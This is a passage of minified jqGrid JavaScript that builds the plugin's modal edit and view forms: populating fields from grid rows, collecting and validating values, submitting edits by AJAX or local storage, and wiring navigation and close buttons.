"+K.closeicon[2]+"'></span>"),(J[u.p.id].checkOnSubmit||J[u.p.id].checkOnUpdate)&&(k="<a id='sNew' class='fm-button "+Y.button+"' style='z-index:1002'>"+K.bYes+"</a>",i="<a id='nNew' class='fm-button "+Y.button+"' style='z-index:1002;margin-left:5px'>"+K.bNo+"</a>",R="<a id='cNew' class='fm-button "+Y.button+"' style='z-index:1002;margin-left:5px;'>"+K.bExit+"</a>",N=K.zIndex||999,N++,Ye("#"+j.themodal).append("<div class='"+K.overlayClass+" jqgrid-overlay confirm' style='z-index:"+N+";display:none;position:absolute;'> </div><div class='confirm ui-jqconfirm "+Y.content+"' style='z-index:"+(1+N)+"'>"+K.saveData+"<br/><br/>"+k+i+R+"</div>"),Ye("#sNew","#"+Ye.jgrid.jqID(j.themodal)).click(function(){return U(),Ye(m).data("disabled",!1),Ye(".confirm","#"+Ye.jgrid.jqID(j.themodal)).hide(),!1}),Ye("#nNew","#"+Ye.jgrid.jqID(j.themodal)).click(function(){return Ye(".confirm","#"+Ye.jgrid.jqID(j.themodal)).hide(),Ye(m).data("disabled",!1),setTimeout(function(){Ye(":input:visible",m)[0].focus()},0),!1}),Ye("#cNew","#"+Ye.jgrid.jqID(j.themodal)).click(function(){return Ye(".confirm","#"+Ye.jgrid.jqID(j.themodal)).hide(),Ye(m).data("disabled",!1),Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(j.themodal),{gb:"#gbox_"+Ye.jgrid.jqID(f),jqm:K.jqModal,onClose:J[u.p.id].onClose,removemodal:J[u.p.id].removemodal,formprop:!J[u.p.id].recreateForm,form:J[u.p.id].form}),!1})),Ye(u).triggerHandler("jqGridAddEditInitializeForm",[Ye(m),g]),Ye.jgrid.isFunction(J[u.p.id].onInitializeForm)&&J[u.p.id].onInitializeForm.call(u,Ye(m),g),"_empty"!==X&&J[u.p.id].viewPagerButtons?Ye("#pData,#nData",d).show():Ye("#pData,#nData",d).hide(),Ye(u).triggerHandler("jqGridAddEditBeforeShowForm",[Ye(m),g]),Ye.jgrid.isFunction(J[u.p.id].beforeShowForm)&&J[u.p.id].beforeShowForm.call(u,Ye(m),g),Q(),Ye("#"+Ye.jgrid.jqID(j.themodal)).data("onClose",J[u.p.id].onClose),Ye.jgrid.viewModal("#"+Ye.jgrid.jqID(j.themodal),{gbox:"#gbox_"+Ye.jgrid.jqID(f),jqm:K.jqModal,overlay:K.overlay,modal:K.modal,overlayClass:K.overlayClass,focusField:K.focusField,onHide:function(e){var t=Ye("#editmod"+f)[0].style.width,r=Ye("#editmod"+f)[0].style.height,r=["100%","auto"].includes(r)?r:Ye.jgrid.floatNum(r,200),t=["100%","auto"].includes(t)?t:Ye.jgrid.floatNum(t,300);Ye(u).data("formProp",{top:Ye.jgrid.floatNum(Ye(e.w).css("top")),left:parseFloat(Ye(e.w).css("left")),width:t,height:r,dataheight:Ye(m).height(),datawidth:Ye(m).width()}),e.w.remove(),e.o&&e.o.remove()}}),A||Ye("."+Ye.jgrid.jqID(K.overlayClass)).click(function(){return O()&&Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(j.themodal),{gb:"#gbox_"+Ye.jgrid.jqID(f),jqm:K.jqModal,onClose:J[u.p.id].onClose,removemodal:J[u.p.id].removemodal,formprop:!J[u.p.id].recreateForm,form:J[u.p.id].form}),!1}),Ye(".fm-button","#"+Ye.jgrid.jqID(j.themodal)).hover(function(){Ye(this).addClass(Y.hover)},function(){Ye(this).removeClass(Y.hover)}),Ye("#sData",d).click(function(){return h={},Ye(".FormError",m).hide(),H(),"_empty"!==h[u.p.id+"_id"]&&!0===K.checkOnSubmit&&L(h,u.p.savedData)?(Ye(m).data("disabled",!0),Ye(".confirm","#"+Ye.jgrid.jqID(j.themodal)).show()):U(),!1}),Ye("#cData",d).click(function(){return O()&&Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(j.themodal),{gb:"#gbox_"+Ye.jgrid.jqID(f),jqm:K.jqModal,onClose:J[u.p.id].onClose,removemodal:J[u.p.id].removemodal,formprop:!J[u.p.id].recreateForm,form:J[u.p.id].form}),!1}),Ye(d).find("[data-index]").each(function(){var t=parseInt(Ye(this).attr("data-index"),10);0<=t&&K.buttons[t].hasOwnProperty("click")&&Ye(this).on("click",function(e){K.buttons[t].click.call(u,Ye(m)[0],J[u.p.id],e)})}),Ye("#nData",d).click(function(){if(O()){Ye(".FormError",m).hide();var e,t=W();if(t[0]=parseInt(t[0],10),-1!==t[0]&&t[1][t[0]+1]){if(Ye(u).triggerHandler("jqGridAddEditClickPgButtons",["next",Ye(m),t[1][t[0]]]),Ye.jgrid.isFunction(K.onclickPgButtons)&&void 0!==(e=K.onclickPgButtons.call(u,"next",Ye(m),t[1][t[0]]))&&!1===e)return!1;if(Ye("#"+Ye.jgrid.jqID(t[1][t[0]+1])).hasClass(Y.disabled))return!1;M(t[1][t[0]+1],u,m),u.p.multiselect&&J[u.p.id].editselected||Ye(u).jqGrid("setSelection",t[1][t[0]+1]),Ye(u).triggerHandler("jqGridAddEditAfterClickPgButtons",["next",Ye(m),t[1][t[0]]]),Ye.jgrid.isFunction(K.afterclickPgButtons)&&K.afterclickPgButtons.call(u,"next",Ye(m),t[1][t[0]+1]),Q(),V(t[0]+1,t)}}return!1}),Ye("#pData",d).click(function(){if(O()){Ye(".FormError",m).hide();var e,t=W();if(-1!==t[0]&&t[1][t[0]-1]){if(Ye(u).triggerHandler("jqGridAddEditClickPgButtons",["prev",Ye(m),t[1][t[0]]]),Ye.jgrid.isFunction(K.onclickPgButtons)&&void 0!==(e=K.onclickPgButtons.call(u,"prev",Ye(m),t[1][t[0]]))&&!1===e)return!1;if(Ye("#"+Ye.jgrid.jqID(t[1][t[0]-1])).hasClass(Y.disabled))return!1;M(t[1][t[0]-1],u,m),u.p.multiselect&&J[u.p.id].editselected||Ye(u).jqGrid("setSelection",t[1][t[0]-1]),Ye(u).triggerHandler("jqGridAddEditAfterClickPgButtons",["prev",Ye(m),t[1][t[0]]]),Ye.jgrid.isFunction(K.afterclickPgButtons)&&K.afterclickPgButtons.call(u,"prev",Ye(m),t[1][t[0]-1]),Q(),V(t[0]-1,t)}}return!1}),Ye(u).triggerHandler("jqGridAddEditAfterShowForm",[Ye(m),g]),Ye.jgrid.isFunction(J[u.p.id].afterShowForm)&&J[u.p.id].afterShowForm.call(u,Ye(m),g),W());V(t[0],t),this.refreshEditForm=function(e,t){!(t=void 0===t?!1:t)&&X!==e||M(e,this,m),t&&(X=e)}}}function H(){var e,t,i={};for(e in Ye(v).find(".FormElement").each(function(){var e,t=Ye(".customelement",this);if(t.length){var t=t[0],r=Ye(t).attr("name");Ye.each(u.p.colModel,function(){if(this.name===r&&this.editoptions&&Ye.jgrid.isFunction(this.editoptions.custom_value)){try{var e=this.editoptions.custom_value.call(u,Ye("#"+Ye.jgrid.jqID(r),v),"get");if("#ignoreme#"!==e){if(void 0===crv)throw"e1";h[r]=e}}catch(e){"e1"===e?Ye.jgrid.info_dialog(b.errcap,"function 'custom_value' "+J[Ye(this)[0]].p.msg.novalue,J[Ye(this)[0]].p.bClose,{styleUI:J[Ye(this)[0]].p.styleUI}):Ye.jgrid.info_dialog(b.errcap,e.message,J[Ye(this)[0]].p.bClose,{styleUI:J[Ye(this)[0]].p.styleUI})}return!0}})}else{switch(Ye(this).get(0).type){case"checkbox":Ye(this).is(":checked")?h[this.name]=Ye(this).val():(e=Ye(this).attr("offval"),h[this.name]=e);break;case"select-one":h[this.name]=Ye(this).val();break;case"select-multiple":h[this.name]=Ye(this).val(),h[this.name]=h[this.name]?h[this.name].join(","):"";break;case"radio":if(i.hasOwnProperty(this.name))return!0;i[this.name]=void 0===Ye(this).attr("offval")?"off":Ye(this).attr("offval");break;default:h[this.name]=Ye(this).val()}u.p.autoencode&&(h[this.name]=Ye.jgrid.htmlEncode(h[this.name]))}}),i)i.hasOwnProperty(e)&&(t=Ye('input[name="'+e+'"]:checked',v).val(),h[e]=void 0!==t?t:i[e],u.p.autoencode)&&(h[e]=Ye.jgrid.htmlEncode(h[e]))}function M(r,i,o){var a,n,e,t,l,s,d=0,p=((J[u.p.id].checkOnSubmit||J[u.p.id].checkOnUpdate)&&(u.p.savedData={},u.p.savedData[i.p.id+"_id"]=r),i.p.colModel);"_empty"===r?(Ye(p).each(function(){a=this.name,l=Ye.extend({},this.editoptions||{}),(e=Ye("#"+Ye.jgrid.jqID(a),o))&&e.length&&null!==e[0]&&(t="","custom"===this.edittype&&Ye.jgrid.isFunction(l.custom_value)?l.custom_value.call(u,Ye("#"+a,o),"set",t):l.defaultValue?(t=Ye.jgrid.isFunction(l.defaultValue)?l.defaultValue.call(u):l.defaultValue,"checkbox"===e[0].type?(l=t.toLowerCase()).search(/(false|f|0|no|n|off|undefined)/i)<0&&""!==l?(e[0].checked=!0,e[0].defaultChecked=!0,e[0].value=t):(e[0].checked=!1,e[0].defaultChecked=!1):e.val(t)):"checkbox"===e[0].type?(e[0].checked=!1,e[0].defaultChecked=!1,t=Ye(e).attr("offval")):e[0].type&&"select"===e[0].type.slice(0,6)?e[0].selectedIndex=0:e.val(t),!0!==J[u.p.id].checkOnSubmit&&!J[u.p.id].checkOnUpdate||(u.p.savedData[a]=t))}),Ye("#id_g",o).val(r)):(s=Ye(i).jqGrid("getInd",r,!0))&&(Ye('td[role="gridcell"]',s).each(function(t){if("cb"!==(a=p[t].name)&&"subgrid"!==a&&"rn"!==a&&!0===p[t].editable&&"sc"!==a){if(a===i.p.ExpandColumn&&!0===i.p.treeGrid)n=Ye(this).text();else try{n=Ye.unformat.call(i,Ye(this),{rowId:r,colModel:p[t]},t)}catch(e){n="textarea"===p[t].edittype?Ye(this).text():Ye(this).html()}switch(u.p.autoencode&&(n=Ye.jgrid.htmlDecode(n)),!0!==J[u.p.id].checkOnSubmit&&!J[u.p.id].checkOnUpdate||(u.p.savedData[a]=n),a=Ye.jgrid.jqID(a),p[t].edittype){case"select":var e=n.split(","),e=Ye.map(e,function(e){return Ye.jgrid.trim(e)});Ye("#"+a+" option",o).each(function(){!(p[t].editoptions.multiple||Ye.jgrid.trim(n)!==Ye.jgrid.trim(Ye(this).text())&&e[0]!==Ye.jgrid.trim(Ye(this).text())&&e[0]!==Ye.jgrid.trim(Ye(this).val()))||p[t].editoptions.multiple&&(-1<Ye.inArray(Ye.jgrid.trim(Ye(this).text()),e)||-1<Ye.inArray(Ye.jgrid.trim(Ye(this).val()),e))?this.selected=!0:this.selected=!1}),!0!==J[u.p.id].checkOnSubmit&&!J[u.p.id].checkOnUpdate||(n=Ye("#"+a,o).val(),p[t].editoptions.multiple&&(n=n.join(",")),u.p.savedData[a]=n);break;case"checkbox":n=String(n),p[t].editoptions&&p[t].editoptions.value?p[t].editoptions.value.split(":")[0]===n?Ye("#"+a,o)[u.p.useProp?"prop":"attr"]({checked:!0,defaultChecked:!0}):Ye("#"+a,o)[u.p.useProp?"prop":"attr"]({checked:!1,defaultChecked:!1}):(n=n.toLowerCase()).search(/(false|f|0|no|n|off|undefined)/i)<0&&""!==n?(Ye("#"+a,o)[u.p.useProp?"prop":"attr"]("checked",!0),Ye("#"+a,o)[u.p.useProp?"prop":"attr"]("defaultChecked",!0)):(Ye("#"+a,o)[u.p.useProp?"prop":"attr"]("checked",!1),Ye("#"+a,o)[u.p.useProp?"prop":"attr"]("defaultChecked",!1)),!0!==J[u.p.id].checkOnSubmit&&!J[u.p.id].checkOnUpdate||(n=Ye("#"+a,o).is(":checked")?Ye("#"+a,o).val():Ye("#"+a,o).attr("offval"),u.p.savedData[a]=n);break;case"custom":try{if(!p[t].editoptions||!Ye.jgrid.isFunction(p[t].editoptions.custom_value))throw"e1";p[t].editoptions.custom_value.call(u,Ye("#"+a,o),"set",n)}catch(e){"e1"===e?Ye.jgrid.info_dialog(b.errcap,"function 'custom_value' "+J[Ye(this)[0]].p.msg.nodefined,Ye.rp_ge[Ye(this)[0]].p.bClose,{styleUI:J[Ye(this)[0]].p.styleUI}):Ye.jgrid.info_dialog(b.errcap,e.message,Ye.rp_ge[Ye(this)[0]].p.bClose,{styleUI:J[Ye(this)[0]].p.styleUI})}break;default:(" "===n||" "===n||1===n.length&&160===n.charCodeAt(0))&&(n=""),Ye("#"+a,o).val(n)}d++}}),0<d)&&(Ye("#id_g",v).val(r),!0!==J[u.p.id].checkOnSubmit&&!J[u.p.id].checkOnUpdate||(u.p.savedData[i.p.id+"_id"]=r))}function U(){var o,a,n,e,t,l,r,s=[!0,"",""],i={},d=u.p.prmNames,p=Ye(u).triggerHandler("jqGridAddEditBeforeCheckValues",[h,Ye(m),g]);if(p&&"object"==typeof p&&(h=p),Ye.jgrid.isFunction(J[u.p.id].beforeCheckValues)&&(p=J[u.p.id].beforeCheckValues.call(u,h,Ye(m),g))&&"object"==typeof p&&(h=p),!J[u.p.id].html5Check||Ye.jgrid.validateForm(y[0])){for(e in h)if(h.hasOwnProperty(e)&&!1===(s=Ye.jgrid.checkValues.call(u,h[e],e))[0])break;if(Ye.each(u.p.colModel,function(e,t){t.editoptions&&!0===t.editoptions.NullIfEmpty&&h.hasOwnProperty(t.name)&&""===h[t.name]&&(h[t.name]="null")}),(s=s[0]&&(void 0===(i=Ye(u).triggerHandler("jqGridAddEditClickSubmit",[J[u.p.id],h,g]))&&Ye.jgrid.isFunction(J[u.p.id].onclickSubmit)&&(i=J[u.p.id].onclickSubmit.call(u,J[u.p.id],h,g)||{}),(s=void 0===(s=Ye(u).triggerHandler("jqGridAddEditBeforeSubmit",[h,Ye(m),g]))?[!0,"",""]:s)[0])&&Ye.jgrid.isFunction(J[u.p.id].beforeSubmit)?J[u.p.id].beforeSubmit.call(u,h,Ye(m),g):s)[0]&&!J[u.p.id].processing){if(J[u.p.id].processing=!0,Ye("#sData",v+"_2").addClass(Y.active),p=J[u.p.id].url||Ye(u).jqGrid("getGridParam","editurl"),n=d.oper,a="clientArray"===p||"storage"===p?u.p.keyName:d.id,h[n]="_empty"===Ye.jgrid.trim(h[u.p.id+"_id"])?d.addoper:d.editoper,(h[n]!==d.addoper||void 0===h[a])&&(h[a]=h[u.p.id+"_id"]),delete h[u.p.id+"_id"],h=Ye.extend(h,J[u.p.id].editData,i),!0===u.p.treeGrid)for(t in h[n]===d.addoper&&(l=Ye(u).jqGrid("getGridParam","selrow"),i="adjacency"===u.p.treeGridModel?u.p.treeReader.parent_id_field:"parent_id",h[i]=l),u.p.treeReader)u.p.treeReader.hasOwnProperty(t)&&(r=u.p.treeReader[t],!h.hasOwnProperty(r)||h[n]===d.addoper&&"parent_id_field"===t||delete h[r]);h[a]=Ye.jgrid.stripPref(u.p.idPrefix,h[a]);var c=Ye.extend({url:p,type:J[u.p.id].mtype,data:Ye.jgrid.isFunction(J[u.p.id].serializeEditData)?J[u.p.id].serializeEditData.call(u,h):h,success:function(e,t,r){if(Ye("#sData",v+"_2").removeClass(Y.active),h[a]=u.p.idPrefix+h[a],300<=r.status&&304!==r.status?(s[0]=!1,s[1]=Ye(u).triggerHandler("jqGridAddEditErrorTextFormat",[r,g]),Ye.jgrid.isFunction(J[u.p.id].errorTextFormat)?s[1]=J[u.p.id].errorTextFormat.call(u,r,g):s[1]=t+" Status: '"+r.statusText+"'. Error code: "+r.status):(s=void 0===(s=Ye(u).triggerHandler("jqGridAddEditAfterSubmit",[r,h,g]))?[!0,"",""]:s)[0]&&Ye.jgrid.isFunction(J[u.p.id].afterSubmit)&&(s=J[u.p.id].afterSubmit.call(u,r,h,g)),!1===s[0])Ye(".FormError",m).html(s[1]),Ye(".FormError",m).show();else if(u.p.autoencode&&Ye.each(h,function(e,t){h[e]=Ye.jgrid.htmlDecode(t)}),h[n]===d.addoper?(s[2]||(s[2]=Ye.jgrid.randId()),null==h[a]||h[a]===u.p.idPrefix+"_empty"||""===h[a]?h[a]=s[2]:s[2]=h[a],J[u.p.id].reloadAfterSubmit?Ye(u).trigger("reloadGrid"):!0===u.p.treeGrid?Ye(u).jqGrid("addChildNode",s[2],l,h):Ye(u).jqGrid("addRowData",s[2],h,K.addedrow),J[u.p.id].closeAfterAdd?(!0!==u.p.treeGrid&&Ye(u).jqGrid("setSelection",s[2]),Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(j.themodal),{gb:"#gbox_"+Ye.jgrid.jqID(f),jqm:K.jqModal,onClose:J[u.p.id].onClose,removemodal:J[u.p.id].removemodal,formprop:!J[u.p.id].recreateForm,form:J[u.p.id].form})):J[u.p.id].clearAfterAdd&&M("_empty",u,m)):(J[u.p.id].reloadAfterSubmit?(Ye(u).trigger("reloadGrid"),J[u.p.id].closeAfterEdit||setTimeout(function(){Ye(u).jqGrid("setSelection",h[a])},1e3)):!0===u.p.treeGrid?Ye(u).jqGrid("setTreeRow",h[a],h):Ye(u).jqGrid("setRowData",h[a],h),J[u.p.id].closeAfterEdit&&Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(j.themodal),{gb:"#gbox_"+Ye.jgrid.jqID(f),jqm:K.jqModal,onClose:J[u.p.id].onClose,removemodal:J[u.p.id].removemodal,formprop:!J[u.p.id].recreateForm,form:J[u.p.id].form})),(Ye.jgrid.isFunction(J[u.p.id].afterComplete)||Object.prototype.hasOwnProperty.call(Ye._data(Ye(u)[0],"events"),"jqGridAddEditAfterComplete"))&&(o=r,setTimeout(function(){Ye(u).triggerHandler("jqGridAddEditAfterComplete",[o,h,Ye(m),g]);try{J[u.p.id].afterComplete.call(u,o,h,Ye(m),g)}catch(e){}o=null},500)),(J[u.p.id].checkOnSubmit||J[u.p.id].checkOnUpdate)&&(Ye(m).data("disabled",!1),"_empty"!==u.p.savedData[u.p.id+"_id"]))for(var i in u.p.savedData)u.p.savedData.hasOwnProperty(i)&&h[i]&&(u.p.savedData[i]=h[i]);J[u.p.id].processing=!1;try{Ye(":input:visible",m)[0].focus()}catch(e){}}},Ye.jgrid.ajaxOptions,J[u.p.id].ajaxEditOptions);c.url||J[u.p.id].useDataProxy||(Ye.jgrid.isFunction(u.p.dataProxy)?J[u.p.id].useDataProxy=!0:(s[0]=!1,s[1]+=" "+b.nourl)),s[0]&&(J[u.p.id].useDataProxy?!1===(i=void 0===(i=u.p.dataProxy.call(u,c,"set_"+u.p.id))?[!0,""]:i)[0]?(s[0]=!1,s[1]=i[1]||"Error processing the row!"):(c.data.oper===d.addoper&&J[u.p.id].closeAfterAdd&&Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(j.themodal),{gb:"#gbox_"+Ye.jgrid.jqID(f),jqm:K.jqModal,onClose:J[u.p.id].onClose,removemodal:J[u.p.id].removemodal,formprop:!J[u.p.id].recreateForm,form:J[u.p.id].form}),c.data.oper===d.editoper&&J[u.p.id].closeAfterEdit&&Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(j.themodal),{gb:"#gbox_"+Ye.jgrid.jqID(f),jqm:K.jqModal,onClose:J[u.p.id].onClose,removemodal:J[u.p.id].removemodal,formprop:!J[u.p.id].recreateForm,form:J[u.p.id].form})):"clientArray"===c.url?(J[u.p.id].reloadAfterSubmit=!1,h=c.data,c.success(h,"",{status:200,statusText:""})):"storage"===c.url?h[n]===d.addoper?("_empty"===h[a]&&(h[a]=""),Ye(u).jqGrid("addStorageRecord",h).then(function(e){"complete"===e.type&&c.success(h,"",{status:200,statusText:""})}).catch(function(e){Ye.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")})):h[n]===d.editoper&&Ye(u).jqGrid("updateStorageRecord",h).then(function(e){"complete"===e.type&&c.success(h,"",{status:200,statusText:""})}).catch(function(e){Ye.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")}):Ye.ajax(c))}!1===s[0]&&(Ye(m).scrollTop(0),Ye(".FormError",m).html(s[1]),Ye(".FormError",m).show())}}function L(e,t){var r,i=!1;if(!(i=!(Ye.isPlainObject(e)&&Ye.isPlainObject(t)&&Object.getOwnPropertyNames(e).length===Object.getOwnPropertyNames(t).length)))for(r in t)if(t.hasOwnProperty(r)){if(!e.hasOwnProperty(r)){i=!0;break}if(e[r]!==t[r]){i=!0;break}}return i}function O(){var e=!0;return Ye(".FormError",m).hide(),J[u.p.id].checkOnUpdate&&(h={},H(),L(h,u.p.savedData))&&(Ye(m).data("disabled",!0),Ye(".confirm","#"+j.themodal).show(),e=!1),e}function V(e,t){var r=t[1].length-1;0===e||void 0!==t[1][e-1]&&Ye("#"+Ye.jgrid.jqID(t[1][e-1])).hasClass(Y.disabled)?Ye("#pData",d).addClass(Y.disabled):Ye("#pData",d).removeClass(Y.disabled),e===r||void 0!==t[1][e+1]&&Ye("#"+Ye.jgrid.jqID(t[1][e+1])).hasClass(Y.disabled)?Ye("#nData",d).addClass(Y.disabled):Ye("#nData",d).removeClass(Y.disabled)}function W(){var e=Ye(u).jqGrid("getDataIDs"),t=Ye("#id_g",v).val();if(u.p.multiselect&&J[u.p.id].editselected){for(var r=[],i=0,o=e.length;i<o;i++)-1!==Ye.inArray(e[i],u.p.selarrrow)&&r.push(e[i]);return[Ye.inArray(t,r),r]}return[Ye.inArray(t,e),e]}function Q(){if(J[u.p.id].checkOnSubmit||J[u.p.id].checkOnUpdate){var e,t,r=[],i={},r=Ye.map(u.p.savedData,function(e,t){return t});for(e in Ye(".FormElement",y).each(function(){if(""!==Ye.jgrid.trim(this.name)&&-1===r.indexOf(this.name)){var e=Ye(this).val(),t=Ye(this).get(0).type;if("checkbox"===t)Ye(this).is(":checked")||(e=Ye(this).attr("offval"));else if("select-multiple"===t)e=e.join(",");else if("radio"===t){if(i.hasOwnProperty(this.name))return!0;i[this.name]=void 0===Ye(this).attr("offval")?"off":Ye(this).attr("offval")}u.p.savedData[this.name]=e}}),i)i.hasOwnProperty(e)&&(t=Ye('input[name="'+e+'"]:checked',y).val(),u.p.savedData[e]=void 0!==t?t:i[e])}}})},viewGridRow:function(P,B){var e=Ye.jgrid.getRegional(this[0],"view"),t=this[0].p.styleUI,E=Ye.jgrid.styleUI[t].formedit,z=Ye.jgrid.styleUI[t].common;return B=Ye.extend(!0,{top:0,left:0,width:500,datawidth:"auto",height:"auto",dataheight:"auto",modal:!1,overlay:30,drag:!0,resize:!0,jqModal:!0,closeOnEscape:!1,labelswidth:"auto",closeicon:[],navkeys:[!1,38,40],onClose:null,beforeShowForm:null,beforeInitData:null,viewPagerButtons:!0,recreateForm:!1,removemodal:!0,form:"view",buttons:[]},e,B||{}),J[Ye(this)[0].p.id]=B,this.each(function(){var a=this;if(a.grid&&P){var i=a.p.id,o="ViewGrid_"+Ye.jgrid.jqID(i),l="ViewTbl_"+Ye.jgrid.jqID(i),r="ViewGrid_"+i,e="ViewTbl_"+i,t={themodal:"viewmod"+i,modalhead:"viewhd"+i,modalcontent:"viewcnt"+i,scrollelm:o},n=!0,s=1,d=0,p=(J[a.p.id].styleUI=a.p.styleUI||"jQueryUI",B.recreateForm||Ye(a).data("viewProp")&&Ye.extend(J[Ye(this)[0].p.id],Ye(a).data("viewProp")),isNaN(J[Ye(this)[0].p.id].dataheight)?J[Ye(this)[0].p.id].dataheight:J[Ye(this)[0].p.id].dataheight+"px"),c=isNaN(J[Ye(this)[0].p.id].datawidth)?J[Ye(this)[0].p.id].datawidth:J[Ye(this)[0].p.id].datawidth+"px",c=Ye("<form name='FormPost' id='"+r+"' class='FormGrid' style='width:"+c+";height:"+p+";'></form>"),u=Ye("<table id='"+e+"' class='EditTable ViewTable'><tbody></tbody></table>");if(Ye(a.p.colModel).each(function(){var e=this.formoptions;s=Math.max(s,e&&e.colpos||0),d=Math.max(d,e&&e.rowpos||0)}),Ye(c).append(u),!1!==(n=(n=void 0===(n=Ye(a).triggerHandler("jqGridViewRowBeforeInitData",[c]))?!0:n)&&Ye.jgrid.isFunction(J[a.p.id].beforeInitData)?J[a.p.id].beforeInitData.call(a,c):n)){for(var h,g,f,m,v,j,b,y,p=P,w=a,x=u,_=s,q=0,C="<td class='CaptionTD form-view-label "+z.content+"' width='"+B.labelswidth+"'></td><td class='DataTD form-view-data ui-helper-reset "+z.content+"'></td>",I="",A="<td class='CaptionTD form-view-label "+z.content+"'></td><td class='DataTD form-view-data "+z.content+"'></td>",T=["integer","number","currency"],D=0,F=0,G=1;G<=_;G++)I+=1===G?C:A;Ye(w.p.colModel).each(function(){(g=(!this.editrules||!0!==this.editrules.edithidden)&&!0===this.hidden)||"right"!==this.align||(this.formatter&&-1!==Ye.inArray(this.formatter,T)?D=Math.max(D,parseInt(this.width,10)):F=Math.max(F,parseInt(this.width,10)))}),j=0!==D?D:0!==F?F:0,v=Ye(w).jqGrid("getInd",p),Ye(w.p.colModel).each(function(e){var t,r,i,o;h=this.name,g=(!this.editrules||!0!==this.editrules.edithidden)&&!0===this.hidden,m=g?"style='display:none'":"",y="boolean"!=typeof this.viewable||this.viewable,"cb"!==h&&"subgrid"!==h&&"rn"!==h&&y&&"sc"!==h&&(y=!1===v?"":h===w.p.ExpandColumn&&!0===w.p.treeGrid?Ye("td",w.rows[v]).eq(e).text():Ye("td",w.rows[v]).eq(e).html(),b="right"===this.align&&0!==j,t=Ye.extend({},{rowabove:!1,rowcontent:""},this.formoptions||{}),r=parseInt(t.rowpos,10)||q+1,i=parseInt(2*(parseInt(t.colpos,10)||1),10),t.rowabove&&(o=Ye("<tr><td class='contentinfo' colspan='"+2*_+"'>"+t.rowcontent+"</td></tr>"),Ye(x).append(o),o[0].rp=r),0===(f=Ye(x).find("tr[rowpos="+r+"]")).length&&(f=Ye("<tr "+m+" rowpos='"+r+"'></tr>").addClass("FormData").attr("id","trv_"+h),Ye(f).append(I),Ye(x).append(f),f[0].rp=r),Ye("td",f[0]).eq(i-2).html("<b>"+(void 0===t.label?w.p.colNames[e]:t.label)+"</b>"),Ye("td",f[0]).eq(i-1).append("<span>"+y+"</span>").attr("id","v_"+h),b&&Ye("td",f[0]).eq(i-1).find("span").css({"text-align":"right",width:j+"px"}),q,q++)}),0<q&&((p=Ye("<tr class='FormData' style='display:none'><td class='CaptionTD'></td><td colspan='"+(2*_-1)+"' class='DataTD'><input class='FormElement' id='id_g' type='text' name='id' value='"+p+"'/></td></tr>"))[0].rp=q+99,Ye(x).append(p));var S,e="rtl"===a.p.direction,n="<a id='"+(e?"nData":"pData")+"' class='fm-button "+z.button+"'><span class='"+z.icon_base+" "+E.icon_prev+"'></span></a>",p="<a id='"+(e?"pData":"nData")+"' class='fm-button "+z.button+"'><span class='"+z.icon_base+" "+E.icon_next+"'></span></a>",k="<a id='cData' class='fm-button "+z.button+"'>"+B.bClose+"</a>",k=Array.isArray(J[a.p.id].buttons)?Ye.jgrid.buildButtons(J[a.p.id].buttons,k,z):k,c=(0<d&&(S=[],Ye.each(Ye(u)[0].rows,function(e,t){S[e]=t}),S.sort(function(e,t){return e.rp>t.rp?1:e.rp<t.rp?-1:0}),Ye.each(S,function(e,t){Ye("tbody",u).append(t)})),B.gbox="#gbox_"+Ye.jgrid.jqID(i),Ye("<div></div>").append(c).append("<table border='0' class='EditTable' id='"+l+"_2'><tbody><tr id='Act_Buttons'><td class='navButton' width='"+B.labelswidth+"'>"+(e?p+n:n+p)+"</td><td class='EditButton'>"+k+"</td></tr></tbody></table>")),n=Ye(".ui-jqgrid").css("font-size")||"11px",p=(Ye.jgrid.createModal(t,c,J[Ye(this)[0].p.id],"#gview_"+Ye.jgrid.jqID(a.p.id),Ye("#gview_"+Ye.jgrid.jqID(a.p.id))[0],null,{"font-size":n}),e&&(Ye("#pData, #nData","#"+l+"_2").css("float","right"),Ye(".EditButton","#"+l+"_2").css("text-align","left")),B.viewPagerButtons||Ye("#pData, #nData","#"+l+"_2").hide(),Ye("#"+t.themodal).keydown(function(e){return 27===e.which?(J[a.p.id].closeOnEscape&&Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(t.themodal),{gb:B.gbox,jqm:B.jqModal,onClose:B.onClose,removemodal:J[a.p.id].removemodal,formprop:!J[a.p.id].recreateForm,form:J[a.p.id].form}),!1):!0===B.navkeys[0]?e.which===B.navkeys[1]?(Ye("#pData","#"+l+"_2").trigger("click"),!1):e.which===B.navkeys[2]?(Ye("#nData","#"+l+"_2").trigger("click"),!1):void 0:void 0}),B.closeicon=Ye.extend([!0,"left",E.icon_close],B.closeicon),!0===B.closeicon[0]&&Ye("#cData","#"+l+"_2").addClass("right"===B.closeicon[1]?"fm-button-icon-right":"fm-button-icon-left").append("<span class='"+z.icon_base+" "+B.closeicon[2]+"'></span>"),Ye(a).triggerHandler("jqGridViewRowBeforeShowForm",[Ye("#"+o)]),Ye.jgrid.isFunction(B.beforeShowForm)&&B.beforeShowForm.call(a,Ye("#"+o)),Ye.jgrid.viewModal("#"+Ye.jgrid.jqID(t.themodal),{gbox:"#gbox_"+Ye.jgrid.jqID(i),jqm:B.jqModal,overlay:B.overlay,modal:B.modal,onHide:function(e){var t="rtl"===Ye("#gbox_"+Ye.jgrid.jqID(i)).attr("dir"),r=parseFloat(Ye("#viewmod"+i)[0].style.width);Ye(a).data("viewProp",{top:parseFloat(Ye(e.w).css("top")),left:t?Ye("#gbox_"+Ye.jgrid.jqID(i)).outerWidth()-r-parseFloat(Ye(e.w).css("left"))+12:parseFloat(Ye(e.w).css("left")),width:Ye(e.w).width(),height:Ye(e.w).height(),dataheight:Ye("#"+o).height(),datawidth:Ye("#"+o).width()}),e.w.remove(),e.o&&e.o.remove()}}),Ye(".fm-button:not(."+z.disabled+")","#"+l+"_2").hover(function(){Ye(this).addClass(z.hover)},function(){Ye(this).removeClass(z.hover)}),R(),Ye("#cData","#"+l+"_2").click(function(){return 